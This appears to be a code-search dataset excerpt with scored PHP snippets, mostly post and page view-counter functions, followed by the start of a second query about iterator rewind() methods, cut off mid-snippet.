$this->manageContent->incrementByOne(\"model_info\",\"views\",\"id\",$inputValue);\n\t\t\t}\n\t\t\t//views for model\n\t\t\tif( $pageName == \"gallery\" )\n\t\t\t{\n\t\t\t\t$this->manageContent->incrementByOne(\"gallery_info_tour\",\"view\",\"gallery_id\",$inputValue);\n\t\t\t}\n\t\t\t//views for model\n\t\t\tif( $pageName == \"movie\" )\n\t\t\t{\n\t\t\t\t$this->manageContent->incrementByOne(\"movie_info_tour\",\"views\",\"gallery_id\",$inputValue);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "bcfe79d3b500eb3bc2c2141a4f4948c3", "score": "0.59936905", "text": "function view_count($post)\r\n\t\t{\r\n\t\t\t\r\n\t\t\t$this->output_split(@$post['views'], 'qa-view-count');\r\n\t\t}", "title": "" }, { "docid": "7282042b1a3fe3ede0f48bfbab5f1447", "score": "0.5991403", "text": "public function count(Request $request){\n $id = $request->post_id ;\n $post = POST::find($id);\n $post->views_count = $request->views;\n $post->save();\n //return redirect(\"posts.show\");\n }", "title": "" }, { "docid": "9bb10b708e736e8e02ff5a12b2ff8837", "score": "0.59800476", "text": "public function UpdateProductViewCount()\n {\n if (CMS_SHOP_TRACK_ARTICLE_DETAIL_VIEWS && !is_null($this->id)) {\n $this->getProductStatsService()->add($this->id, ProductStatisticsServiceInterface::TYPE_DETAIL_VIEWS, 1);\n }\n }", "title": "" }, { "docid": "4bcfd8e4f99ee63eafc3c3ac6ac80a88", "score": "0.5969879", "text": "function nfwp_set_post_views($postID) {\n $count_key = 'nfwp_post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n }", "title": "" }, { "docid": "3042a6b41a0631e551b4318bcb3a6073", "score": "0.5954845", "text": "public function update_stats() {\n\t\t\n\t\t// increment viewcount field\n\t\t$this->db->query( 'UPDATE ' . $this->db->prefix . 'pvmkit_packages SET viewcount = (viewcount + 1) WHERE package_id = ' . $this->id );\n\t\t\n\t\t// if user is logged in, add it to his recent viewed list\n\t\t// TODO\n\t\t\n\t}", "title": "" }, { "docid": "443f9c7f290f472f8a988af2746f557c", "score": "0.595352", "text": "function snssara_set_post_views($post_id)\n{\n $count_key = 'post_views_count';\n $count = get_post_meta($post_id, $count_key, true);\n if ($count == '') {\n $count = 0;\n delete_post_meta($post_id, $count_key);\n add_post_meta($post_id, $count_key, '0');\n } else {\n $count++;\n update_post_meta($post_id, $count_key, $count);\n }\n}", "title": "" }, { "docid": "d34de17de8a45e4e7733a300e229af86", "score": "0.5945438", "text": "function af_set_post_views($postID) {\n $count_key = 'af_post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n }", "title": "" }, { "docid": "5ec6da228c6b3e7de0884fa11b0aa5dd", "score": "0.59413534", "text": "public function increaseQueryCount()\n\t{\n\t\t$this->QueryCount+1;\n\t}", "title": "" }, { "docid": "6c2db3f62c335c3ad573878822ea0dc3", "score": "0.5936504", "text": "function setPostViews($postID) {\n $countKey = 'post_views_count';\n $count = get_post_meta($postID, $countKey, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $countKey);\n add_post_meta($postID, $countKey, '0');\n }else{\n $count++;\n update_post_meta($postID, $countKey, $count);\n }\n }", "title": "" }, { "docid": "fea187dbc69c1c1ddc16303fd729a9cc", "score": "0.5934896", "text": "public function repeatsIncrement(): void\n {\n $this->repeatsIndex++;\n }", "title": "" }, { "docid": "c56aa328220a15e1dc5d44f99f5a679f", "score": "0.5927871", "text": "function setPostViews($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "c56aa328220a15e1dc5d44f99f5a679f", "score": "0.5927871", "text": "function setPostViews($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "cbf7c8a24695562dfde2668ea3ca7018", "score": "0.59260243", "text": "public function trackView()\n {\n if ($this->ID > 0) {\n $count = $this->ViewCount + 1;\n\n $this->ViewCount = $count;\n\n DB::query(\"UPDATE \\\"DMSDocument\\\" SET \\\"ViewCount\\\"='$count' WHERE \\\"ID\\\"={$this->ID}\");\n\n $this->extend('trackView');\n }\n\n return $this;\n }", "title": "" }, { "docid": "2d6bac4f5700a8c1d5d08966fe3c0bf9", "score": "0.592249", "text": "function reset_views(): void\n{\n $file = __DIR__ . DIRECTORY_SEPARATOR . 'data' . DIRECTORY_SEPARATOR . \"counter\";\n file_put_contents($file, '0');\n}", "title": "" }, { "docid": "489b22089f577fe1360999bc9f9fe10a", "score": "0.59103626", "text": "function incrementViews($galleyId) {\n\t\tif ( !HookRegistry::call('ArticleGalleyDAO::incrementGalleyViews', array(&$galleyId)) ) {\n\t\t\treturn $this->update(\n\t\t\t\t'UPDATE article_galleys SET views = views + 1 WHERE galley_id = ?',\n\t\t\t\t(int) $galleyId\n\t\t\t);\n\t\t} else return false;\n\t}", "title": "" }, { "docid": "abca83b594992abeebf5e92e3246868e", "score": "0.5907785", "text": "public function views($link){\r\n\t\tif(!isset($_SESSION['imovel_manage_user'])){\t\r\n\t\t\t$this->query(\"SELECT * FROM imoveis WHERE link = :link\");\r\n\t\t\t$this->bind(':link',$link);\r\n\t\t\t$resultado = $this->single();\r\n\t\t\tif($resultado):\r\n\t\t\t\t$views = $resultado['visitas'];\r\n\t\t\t\t$views = $views + 1;\r\n\t\t\t\t$this->query(\"UPDATE imoveis SET visitas = :visitas WHERE link = :link\");\r\n\t\t\t\t$this->bind(':visitas',$views);\r\n\t\t\t\t$this->bind(':link',$link);\r\n\t\t\t\t$this->execute();\r\n\t\t\tendif;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "35f90537140b69353729ba11333f9d6f", "score": "0.5892192", "text": "function wpb_set_post_views($postID) {\n $count_key = 'wpb_post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "11b2d1c3d9422fae6e8a3d1dda81295d", "score": "0.5873539", "text": "function wpi_the_views(){\n\t\n\t$view = get_option('views_options');\n\t$view = str_replace('%VIEW_COUNT%','0',$view['template']);\n\t\n\tif ( ($count = the_views(false)) == $view) {\n\t\treturn false;\n\t} else {\n\t\tt('li',_t('span',$count. ' &middot; '),array('class'=>'wp-postview'));\n\t}\n}", "title": "" }, { "docid": "da92bd5f8fceaa55e798ec10e4000b81", "score": "0.5867716", "text": "function setPostViews($postID) {\n $countKey = 'post_views_count';\n $count = get_post_meta($postID, $countKey, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $countKey);\n add_post_meta($postID, $countKey, '0');\n }else{\n $count++;\n update_post_meta($postID, $countKey, $count);\n }\n}", "title": "" }, { "docid": "58432271fe59a3a068f0a5a0f7763ba4", "score": "0.58520395", "text": "private function incrementCounter() {\r\n\t\t$this->_staticCounter++;\r\n\t}", "title": "" }, { "docid": "137653056d20ebdd6521e2d9088a160f", "score": "0.5844787", "text": "public function view($id) {\n \t$article = $this->find($id);\n \t$article->ViewsNum += 1;\n \t$article->save();\n\n \t$resource = $article->resource;\n \t$date = date('Y/m/d');\n\n \t$history = $resource->history()->where('Date', $date)->get();\n \t$history->incView($date);\n\n \t$resource->AvgViewNum = $history->getAvgViewNum();\n \t$resource->save();\n }", "title": "" }, { "docid": "a9d769f8e842284e1186ef8675efe6ce", "score": "0.5828809", "text": "private function IncreaseSize() {\n ++$this->Size;\n }", "title": "" }, { "docid": "c304e65453ead0a1f5a553a0a0a1c969", "score": "0.58184147", "text": "public function compose(View $view)\n {\n $view->with('agenciescount', $this->agencies->count());\n }", "title": "" }, { "docid": "505111a323213e81bf610a06062349f9", "score": "0.5792734", "text": "function dt_set_post_views($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "f666053cf48d51ec67845374924b84d7", "score": "0.5778011", "text": "public function getViewCount()\n {\n return $this->count(self::VIEW);\n }", "title": "" }, { "docid": "abd8958297b80095278793cef9c80df2", "score": "0.57726896", "text": "public function views_increment($idCat)\n {\n return $this->where('id', '=', $idCat)->increment('count_views_cat');\n\n\n }", "title": "" }, { "docid": "2a9261b00e7dee3fd5b386a48e9ac4f8", "score": "0.57657754", "text": "public function increment()\n {\n $this->num++;\n }", "title": "" }, { "docid": "37d9a62cbf8aa6e2fd63b272a3caa01e", "score": "0.5757437", "text": "public function tourSuivant(){\n\t\t\t$this->tour++;\n\t\t}", "title": "" }, { "docid": "ca4650738fba7b4be63ef7c48af23ce7", "score": "0.5753781", "text": "function blog_view($para1 = \"\")\n {\n $page_data['blog'] = $this->db->get_where('blog',array('blog_id'=>$para1))->result_array();\t\n\t\t\n $this->db->where('blog_id', $para1);\n $this->db->update('blog', array(\n 'number_of_view' => 'number_of_view' + 1\n ));\n $page_data['page_name'] = 'blog_view';\n $page_data['page_title'] = $this->db->get_where('blog',array('blog_id'=>$para1))->row()->title;\n $this->load->view('front/index.php', $page_data); \n }", "title": "" }, { "docid": "e3b5f15495027635ae007edc98a0bef9", "score": "0.5746154", "text": "function martin_PostViews($postID) \n{\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count=='')\n {\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }\n else\n {\n $count += 1;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "7d648f01e1cafab806182c039dabc9dd", "score": "0.5728287", "text": "public function incrementWeeklyVisit(){\n $this->setNbLastWeekVisits($this->getNbLastWeekVisits() + 1);\n $this->save();\n }", "title": "" }, { "docid": "022d6c001870cf336b78704ad193d7f3", "score": "0.57188696", "text": "public function increaseNumberOfOffers() {\n $this->numberOfOffers++;\n }", "title": "" }, { "docid": "9f697e9b9d2353ead9972c9dbd748620", "score": "0.5717542", "text": "public function handleViewCount($id){\n\t\t$blank_array = array();\n\t\tif (! array_key_exists($id, Session::get('viewed_post', $blank_array) ) ) {\n \n try{\n\t // increment view\n\t\t\t\t$post = Post::find($id);\n\t\t\t\t$post->views = $post->views + 1;\n\t\t\t\t$post->save();\n\n\t // Add key to the view_post session\n\t \tSession::put('viewed_post.'.$id, time());\n\t \treturn true;\n\n\t } catch (Exception $e){\n\t \treturn false;\n\t }\n } else {\n \treturn false;\n }\n\n\t}", "title": "" }, { "docid": "05952f6779cbdb39aa51d7774799ed73", "score": "0.5690644", "text": "static function increase_view_song(Song $song){\n $cur_ses = request()->session()->get('last_time_song');\n\n // If record for cur song not exits or duration between difference playing > 120s -> update record\n if (!isset($cur_ses[$song->id]) || (time() - $cur_ses[$song->id]) > 1) {\n // Set record time\n $cur_ses[$song->id] = time();\n\n // Update to session\n request()->session()->put('last_time_song', $cur_ses);\n\n // Update to database\n $view = View::firstOrNew([\n 'viewable_type'=>Song::class,\n 'viewable_id'=>$song->id,\n 'view_date'=>date('Y-m-d'),\n ]);\n $view->view_count++;\n $view->save();\n }\n }", "title": "" }, { "docid": "e5e69bc49ef4cf4c90a8d36f37065321", "score": "0.5657515", "text": "public function compose(View $view)\n {\n $view->with('count', $this->users->count());\n }", "title": "" }, { "docid": "16ecfcc36c35f73dc55d2bdafa27cf01", "score": "0.56559294", "text": "function add_viewer(): void\n{\n $file = __DIR__ . DIRECTORY_SEPARATOR . 'data' . DIRECTORY_SEPARATOR . \"counter\";\n $file_name = date(\"Y-m-d\") . \" counter\";\n $file_day = __DIR__ . DIRECTORY_SEPARATOR . 'data' . DIRECTORY_SEPARATOR . $file_name;\n add_view($file);\n add_view($file_day);\n}", "title": "" }, { "docid": "494ecf0199aba435320eec24206fbbc8", "score": "0.5655492", "text": "function product_view($para1 = \"\")\n {\n $page_data['page_name'] = \"product_view\";\n $product_data = $this->db->get_where('product', array(\n 'product_id' => $para1,\n 'status' => 'ok'\n ));\n\t\t\n $this->db->where('product_id', $para1);\n $this->db->update('product', array(\n 'number_of_view' => 'number_of_view'+1\n ));\n\t\t\n $page_data['product_data'] = $product_data->result_array();\n $page_data['page_title'] = $product_data->row()->title;\n $page_data['product_tags'] = $product_data->row()->tag;\n \n $this->load->view('front/index', $page_data);\n }", "title": "" }, { "docid": "23f888bfc3684d2037d327db73254a7d", "score": "0.565402", "text": "public function acount()\n {\n $data = $this->render_info();\n $this->load->view('user/nav',$data);\n $this->load->view('user/acount',$data);\n $this->load->view('conn/footer');\n }", "title": "" }, { "docid": "8d83246584c7df76051e1936ef3cae3f", "score": "0.56474906", "text": "public function setViews()\n {\n $this->views = $this->DataValue('statistics.viewCount');\n return $this;\n }", "title": "" }, { "docid": "be2f6ee45f76156bc23e3c5fcfd0aaa7", "score": "0.56059176", "text": "public function up(){\n if(isset($_GET['index'])){\n$indice = $_GET['index'];\n$_SESSION['carrito'][$indice]['unidades']++;\n} \nheader(\"location:\" . base_url . \"Factura/ventas\"); \n}", "title": "" }, { "docid": "dd0578dbc4e939741ff49bb55b971647", "score": "0.55984753", "text": "public function addToView($view)\n {\n $view->multiadd($this->blocks);\n return count($this->blocks);\n }", "title": "" }, { "docid": "fa3d2f35b14e1707b922904844852a39", "score": "0.5589044", "text": "public function getNumView()\n\t{\n\n\t\treturn $this->num_view;\n\t}", "title": "" }, { "docid": "9c8e73159ed3ebf68212309ffe9fd2bf", "score": "0.55744714", "text": "public function actionTmdb()\n {\n $movie=$this->loadModel('tmdb');\n $comment=$this->newComment($movie);\n\n $movie->views+=1;\n $movie->save();\n $this->render('view',array(\n 'model'=>$movie,\n 'comment'=>$comment,\n ));\n }", "title": "" }, { "docid": "50c78c5a2bdef9fb66856f051fec7ab0", "score": "0.55719364", "text": "public function addToInvokeCount()\n {\n $this->invokes++;\n }", "title": "" }, { "docid": "2af72af6e8b6bb61a147b68eb982338d", "score": "0.5568291", "text": "function updateCabinetRecomandBannerView($banner_id)\r\n{\r\n\tglobal $db;\r\n\t$sql = \"UPDATE banner SET `recomandam_banner`=`recomandam_banner`+1 WHERE id='$banner_id'\";\r\n\t$db->query($sql);\r\n}", "title": "" }, { "docid": "aa74f7bdce6a1a6012cc84a015437044", "score": "0.55644387", "text": "private function _increaseBrowseCounting() {\n $count = $this->getProfile('browse_count');\n $count++;\n $this->setProfileWithKeyAndValue('browse_count', $count);\n }", "title": "" }, { "docid": "fcf9915bde81b0b6e47e1f66708a7a15", "score": "0.5558079", "text": "public function setViews($views) {\n\n if(!isset($views) || $views == \"\"){\n $views = \"0\";\n }\n $this->fields[\"views\"] = $views;\n\nreturn $this;\n\n }", "title": "" }, { "docid": "33da05464f15fc9e4324dfd51fb65220", "score": "0.5555942", "text": "function ijdh_setPostViews($postID)\n{\n\n /// if statement to discount post views from Editors or above\n\n if (!current_user_can('level_7') ) :\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if\n ($count=='')\n {\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else\n {\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n endif;\n}", "title": "" }, { "docid": "a477d1b94e1a9bb920ee82ae682341c3", "score": "0.5551108", "text": "function setCount($n) {\n $this->pager_param['count'] = $n;\n }", "title": "" }, { "docid": "9210fcc98bdba5d4460ae88a43d36a95", "score": "0.5544964", "text": "private function setCounts()\r\n {\r\n foreach($this->routes as $module) {\r\n $this->counts['module']++;\r\n foreach($module['routes'] as $route) {\r\n $this->counts['route']++;\r\n }\r\n }\r\n }", "title": "" }, { "docid": "e08da4ea2a63b914f881a9f9a0f859b3", "score": "0.5532844", "text": "public function setIsViewed($spot)\n\t{\n\t\t$spot->setViews($spot->getViews() + 1);\n\t\t$this->entityManager->flush();\n\t}", "title": "" }, { "docid": "510d3e09729f9c8997f30f1bc92dfb99", "score": "0.5524326", "text": "private function updateCount(): void\n {\n // The count only needs to be updated when the pointer is\n // on the edges\n if (0 != $this->pointer % $this->limit &&\n $this->pointer < $this->count) {\n return;\n }\n\n $newCount = $this->query->count();\n\n // It's possible when iterating over models that something\n // is modified or deleted that causes the model count\n // to decrease. If the count has decreased then we\n // shift the pointer to prevent overflow.\n // This calculation is based on the assumption that\n // the first N (count - count') models are deleted.\n if (0 != $this->count && $newCount < $this->count) {\n $this->pointer = max(0, $this->pointer - ($this->count - $newCount));\n }\n\n // If the count has increased then the pointer is still\n // valid. Update the count to include the extra models.\n $this->count = $newCount;\n }", "title": "" }, { "docid": "d27bdfd746075fb9f729116049ebee10", "score": "0.5509357", "text": "public function viewItemCount()\n {\n $countDets = DB::select('SELECT CP.page AS \\'PageName\\', COUNT(CPV.page_id) AS \\'PageCount\\'\n FROM kryptonit3_counter_page_visitor CPV,kryptonit3_counter_page CP WHERE CPV.page_id = CP.id GROUP BY page_id');\n\n return view('pages\\Artist\\artPageView')->with('countDets',$countDets);\n }", "title": "" }, { "docid": "8937d7b4ea115991bce219b7772f209b", "score": "0.55093044", "text": "function sunix_post_count_view($args=[]){\n $args = wp_parse_args($args, [\n 'show_view' => '1',\n 'class' => '',\n 'before' => '',\n 'after' => '',\n 'icon' => '',\n 'echo' => true,\n 'show_text' => true\n ]);\n if($args['show_view'] !== '1') return;\n\n $classes = trim(implode(' ', ['red-view', $args['class']] ));\n $args['icon'] = !empty($args['icon']) ? '<span class=\"meta-icon '.$args['icon'].'\"></span>' : '';\n ob_start();\n $view_number = 100;\n echo '<div class=\"'.esc_attr($classes).'\">';\n printf ('%s' , $args['before']);\n printf ('%s' , $args['icon']);\n printf(\n _nx(\n '%1$s %2$s',\n '%1$s %3$s',\n $view_number,\n 'view title',\n 'sunix'\n ),\n number_format_i18n( $view_number ),\n $args['show_text'] ? esc_html__(' View','sunix') : '',\n $args['show_text'] ? esc_html__(' Views','sunix') : ''\n );\n printf ('%s' , $args['after']);\n echo '</div>';\n \n if($args['echo'] === true)\n echo ob_get_clean();\n else \n return ob_get_clean();\n}", "title": "" }, { "docid": "444f457c433a96cc3b55d1bf48ed68aa", "score": "0.55063415", "text": "public function updateViews()\n {\n //preventing edit for anyone except malladmin\n if (oxRegistry::getSession()->getVariable(\"malladmin\")) {\n $oMetaData = oxNew('oxDbMetaDataHandler');\n $this->_aViewData[\"blViewSuccess\"] = $oMetaData->updateViews();\n }\n }", "title": "" }, { "docid": "ae8b208f260cc474949eb0dd914bb984", "score": "0.5493274", "text": "public function increment()\n {\n $this->counter = ++$this->counter % $this->size;\n }", "title": "" }, { "docid": "df688a766ee0f7fed17c76967eead5d9", "score": "0.5473968", "text": "public function getTotalViews(){\r\n \t\r\n \t$id = $this->getRequest()->getParam('id');\r\n \t\r\n \t$faq = Mage::getModel('faq/faq')->load($id);\r\n \t\r\n \t$count = (int) $faq->getViews();\r\n \t\r\n \treturn $count;\r\n \t\r\n }", "title": "" }, { "docid": "6596d4a943cc148223ae6cb5a0685991", "score": "0.5471517", "text": "public function update_count()\n {\n $this->_count = -1;\n $this->count(FALSE);\n }", "title": "" }, { "docid": "6a92c407801515bbee08447a70614d4c", "score": "0.5470819", "text": "function viewCount()\n {\n $count = eZViewCounter::fetch($this->attribute('node_id'), false);\n\n return (int)$count['count'];\n }", "title": "" }, { "docid": "e996069b2c6485d434bdc2b26f17966a", "score": "0.54694504", "text": "static function increase_view_playlist(Playlist $playlist){\n $cur_ses = request()->session()->get('last_time_playlist');\n\n // If record for cur song not exits or duration between difference playing > 120s -> update record\n if (!isset($cur_ses[$playlist->id]) || (time() - $cur_ses[$playlist->id]) > 1) {\n // Set record time\n $cur_ses[$playlist->id] = time();\n\n // Update to session\n request()->session()->put('last_time_playlist', $cur_ses);\n\n // Update to database\n $view = View::firstOrNew([\n 'viewable_type'=>Playlist::class,\n 'viewable_id'=>$playlist->id,\n 'view_date'=>date('Y-m-d'),\n ]);\n $view->view_count++;\n $view->save();\n }\n }", "title": "" }, { "docid": "c58507d801cf75d11cfb462d696f9f35", "score": "0.54659", "text": "function update_counter($slug)\n {\n $this->db->where('slug', $slug);\n $this->db->select('visitor');\n $count = $this->db->get('berita')->row();\n // then increase by one \n $this->db->where('slug', $slug);\n $this->db->set('visitor', ($count->visitor + 1));\n $this->db->update('berita');\n }", "title": "" }, { "docid": "debcafc6d9de56c8f159514c960be95b", "score": "0.54552275", "text": "public function showWelcome()\n\t{\t\n\t\tDB::update(\"UPDATE page SET view = view + 1 WHERE id = 1\");\n\n\t\t$hot_products = Product::orderBy('buytime','desc')->take(8)->get();\n\n\t\t$new_products = Product::orderBy(\"created_at\",'desc')->take(8)->get();\n\n\t\t$categories = Category::all();\t\n\n\t\treturn View::make('homepage',array(\"categories\"=>$categories,\n\t\t\t\t\t\t\t\"hot_products\"=>$hot_products,\n\t\t\t\t\t\t\t\"new_products\"=>$new_products));\n\t}", "title": "" }, { "docid": "da7dfe50e646daa99505c16bad113be1", "score": "0.5446997", "text": "public function itemsPerPageChangeAction()\n {\n $count = $this->request->getPost('count');\n \n $this->getPerPageCountGadget()->setPerPageCount($count);\n return '1';\n }", "title": "" }, { "docid": "75f04325868e205ce94e029014b4ffea", "score": "0.543568", "text": "public function increment()\n {\n $this->count++;\n\n //set model to count amount\n $this->car->keyamount = $this->count;\n\n //save model\n $this->car->save();\n }", "title": "" }, { "docid": "dcec3aa3e68d44bc0c4425b34aa36802", "score": "0.5426576", "text": "function incrementLikes()\n {\n helper('form');\n\n $model = new blogmodel();\n $model\n ->where(['id' => $this->request->getVar('id')])\n ->set(['likes' => $this->request->getVar('likes') + 1])\n ->update();\n return redirect()->to('/blog/'.$this->request->getVar('id')); //to redirect to same page \n }", "title": "" }, { "docid": "43ccd7e04d3960e26bc20259cc6b396a", "score": "0.5424353", "text": "function bunchy_get_entry_view_count() {\n\treturn apply_filters( 'bunchy_entry_view_count', - 1 );\n}", "title": "" }, { "docid": "525a02a9eb5a7a157bb3588a7c6317b0", "score": "0.5420296", "text": "public function track()\n\t{\n\t\t$id = Request::route('id');\n\t\t$blog = Blog::find($id);\n\t\t$blog->views += 1;\n\t\t$blog->save();\n \n\t\treturn redirect($blog->url);\n\t}", "title": "" }, { "docid": "371946ee2026a8700f68a6b09e821645", "score": "0.5416711", "text": "public function add_view_count( $content ): string {\n\t\tif ( is_single() && ! $this->is_count_already_added() ) {\n\t\t\tdo_action( 'a02_posts_count_add_view_count_action' );// a custom action hook to indicate that this section already executed\n\t\t\t$postId = get_the_ID();\n\t\t\t$this->init_view_count( $postId );\n\t\t\t$count = $this->update_and_get_view_count( $postId );\n\n\t\t\t$count = apply_filters( 'a02_posts_view_view_counter_hook', $count );// a custom filter hook\n\n\t\t\treturn $content . \"<p>Total View: $count</p>\";\n\t\t}\n\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "69f8dbc05d1d718ac27669b783962bc8", "score": "0.5398395", "text": "public function onView();", "title": "" }, { "docid": "86eaf77575595ef4905b3c626a174579", "score": "0.5397541", "text": "protected function setViewInfo(){\n\t\t// here set $this->view\n\t}", "title": "" } ]
84aeaede9eb5b17eea0d0bd43e969080
Rewind the Iterator to the first element
[ { "docid": "03a522bd5f5a97b4f4fd7bad5af7d96b", "score": "0.6664975", "text": "public function rewind()\n {\n $this->position = 0;\n }", "title": "" } ]
[ { "docid": "db990cb7142f1eec2938dd8c063c8091", "score": "0.7644786", "text": "public function rewind() {\n reset($this->items);\n $this->current = key($this->items);\n }", "title": "" }, { "docid": "bfff5f4c5a8d137237a93940dbce9ac4", "score": "0.7600924", "text": "public function rewind()\n {\n $this->first();\n }", "title": "" }, { "docid": "152205393fdf86cd2b6c50fad5aa7d86", "score": "0.7542356", "text": "public function rewind()\n {\n $this->iterator()->rewind();\n }", "title": "" }, { "docid": "5edfa8cee8b1c1ccf9ed054ed51c9cae", "score": "0.75204545", "text": "public function rewind() { \n $this->it->rewind();\n }", "title": "" }, { "docid": "b4f8f424e1be2741ed59c19e5d45b6a7", "score": "0.7478895", "text": "public function rewind()\n {\n $this->entry = $this->result->first_entry();\n }", "title": "" }, { "docid": "a224fce0b4d072d1c944fcb18867215c", "score": "0.7472577", "text": "public function rewind(): void\n {\n // iterator can be rewinded or not.\n $this->key = 0;\n }", "title": "" }, { "docid": "77f1115f2c8d3edd8e3b8abb6374c423", "score": "0.74572", "text": "public function rewind()\n {\n reset($this->items);\n }", "title": "" }, { "docid": "2cdd70ac8a3f9bfd341d559f612533ee", "score": "0.7448227", "text": "public function rewind()\n {\n $this->getIterator()->rewind();\n }", "title": "" }, { "docid": "21e772d108fb50e4b444064b92043a00", "score": "0.7443709", "text": "public function rewind()\n\t{\n\t\t$this->iterator->rewind();\n\t}", "title": "" }, { "docid": "6b0cde9d1f727c293837fd54473f1d9a", "score": "0.743104", "text": "public function rewind()\n {\n $this->_iteratorCurrent = 0;\n }", "title": "" }, { "docid": "4b78cbc622b92180e2f2c874e8577331", "score": "0.7410847", "text": "public function rewind()\n {\n $this->iterator->rewind();\n }", "title": "" }, { "docid": "f9642678d8c4802faa8468284ff757ca", "score": "0.73982346", "text": "public function rewind()\n {\n // Start of user code Iterator.rewind\n reset($this->items);\n // End of user code\n }", "title": "" }, { "docid": "53b52a70e7a6b2c698acc0890c9cd151", "score": "0.73775", "text": "public function rewind()\n {\n $iterator = $this->getIterator();\n $iterator->rewind();\n }", "title": "" }, { "docid": "3a17ce258591a9de9f67a67a405c84f2", "score": "0.73749477", "text": "function rewind()\n\t{\n\t\t$this->it->rewind();\n\t}", "title": "" }, { "docid": "2eb0145cc60b26f582828c5ee716404e", "score": "0.73247796", "text": "function rewind()\n {\n $this->It = 0;\n }", "title": "" }, { "docid": "ee1abf82689b3fe01184e395ff82ea06", "score": "0.73119175", "text": "public function rewind() { $this->idx = 0; }", "title": "" }, { "docid": "059a24ebcc751ebd43bed051a7da7d7f", "score": "0.7296829", "text": "public function rewind()\n {\n reset($this->elements);\n }", "title": "" }, { "docid": "812cd0ae6fa2d58a66887118f4479498", "score": "0.7284052", "text": "public function rewind() {\n if ($this->using_cache === false && $this->started_iteration === true && $this->reiterable === true) {\n $this->using_cache = true;\n // var_dump('using the cache');\n $this->iterable = $this->cache;\n }\n if (!is_array($this->iterable)) {\n $this->iterable->rewind();\n }\n else {\n reset($this->iterable);\n $this->array_pos = 0;\n }\n }", "title": "" }, { "docid": "033abaa691e6f1e445d99eaf6b1fcdcd", "score": "0.7258986", "text": "public function rewind()\n {\n $this->iteratorPosition = 0;\n }", "title": "" }, { "docid": "0c1581e77271105e3b9a449b72582c04", "score": "0.72424537", "text": "public function rewind() {\n\t\t\treset($this->elements);\n\t\t\t$this->pointer = 0;\n\t\t}", "title": "" }, { "docid": "0c1581e77271105e3b9a449b72582c04", "score": "0.72424537", "text": "public function rewind() {\n\t\t\treset($this->elements);\n\t\t\t$this->pointer = 0;\n\t\t}", "title": "" }, { "docid": "ad07b3ec0cfe47037c5cff9e302bcb6d", "score": "0.72253805", "text": "public function rewind()\n {\n //echo 'r';\n $this->iterators->rewind();\n if (!$this->iterators->valid()) {\n $this->currentIterator = new ArrayIterator(array());\n } else {\n $this->currentIterator = $this->iterators->current();\n }\n $this->currentIterator->rewind();\n }", "title": "" }, { "docid": "80a1b4721b0230a66b46654f429fd734", "score": "0.7218535", "text": "public function rewind()\n {\n $this->innerIterator->rewind();\n }", "title": "" }, { "docid": "aa2abf112ff6b0c9baac99cb9dfdc70b", "score": "0.7216709", "text": "public function rewind() {\n\t\t$this->_sqlIterator->next();\n\t}", "title": "" }, { "docid": "080c2b9017dc642aea5babeabcaeebd5", "score": "0.7212118", "text": "public function rewind(): void\n {\n $this->skipNextIteration = false;\n reset($this->data);\n }", "title": "" }, { "docid": "1a031e9679098f293c9354e6464805ac", "score": "0.72034687", "text": "public function rewind(): void\n {\n reset($this->elements);\n }", "title": "" }, { "docid": "3f22b6a3dc670cf1e70caaee9ee7f953", "score": "0.719762", "text": "public function rewind() {\n\t\treset($this->results);\n\t}", "title": "" }, { "docid": "b5741e55de3d74223038c86eaa2dde5f", "score": "0.71798813", "text": "public function rewind() {\n\t\t$this->currentIndex = 0;\n\t}", "title": "" }, { "docid": "a6945b149339dc2e2d08c09c817c85cc", "score": "0.7127957", "text": "public function rewind()\r\n {\r\n $this->current = 0;\r\n }", "title": "" }, { "docid": "c9d9e0692279b44f5d00d49ad81c0842", "score": "0.71206725", "text": "function rewind()\n {\n $this->_idx = $this->_begin - 1;\n $this->next();\n }", "title": "" }, { "docid": "d98425bcb82ce419de08e16e0ad72021", "score": "0.7113413", "text": "public function rewind()\n\t{\n\t\treset($this->_elements);\n\t}", "title": "" }, { "docid": "955882bf489ac193e742407ca01d2f0c", "score": "0.70925856", "text": "public function rewind() {\n $this->resetDistributionCounts();\n $this->current = $this->get();\n $this->valid = TRUE;\n }", "title": "" }, { "docid": "75131532d0f47bfe47e5934a93e3cbb5", "score": "0.70785934", "text": "public function rewind() {\n\t\t$this->index = 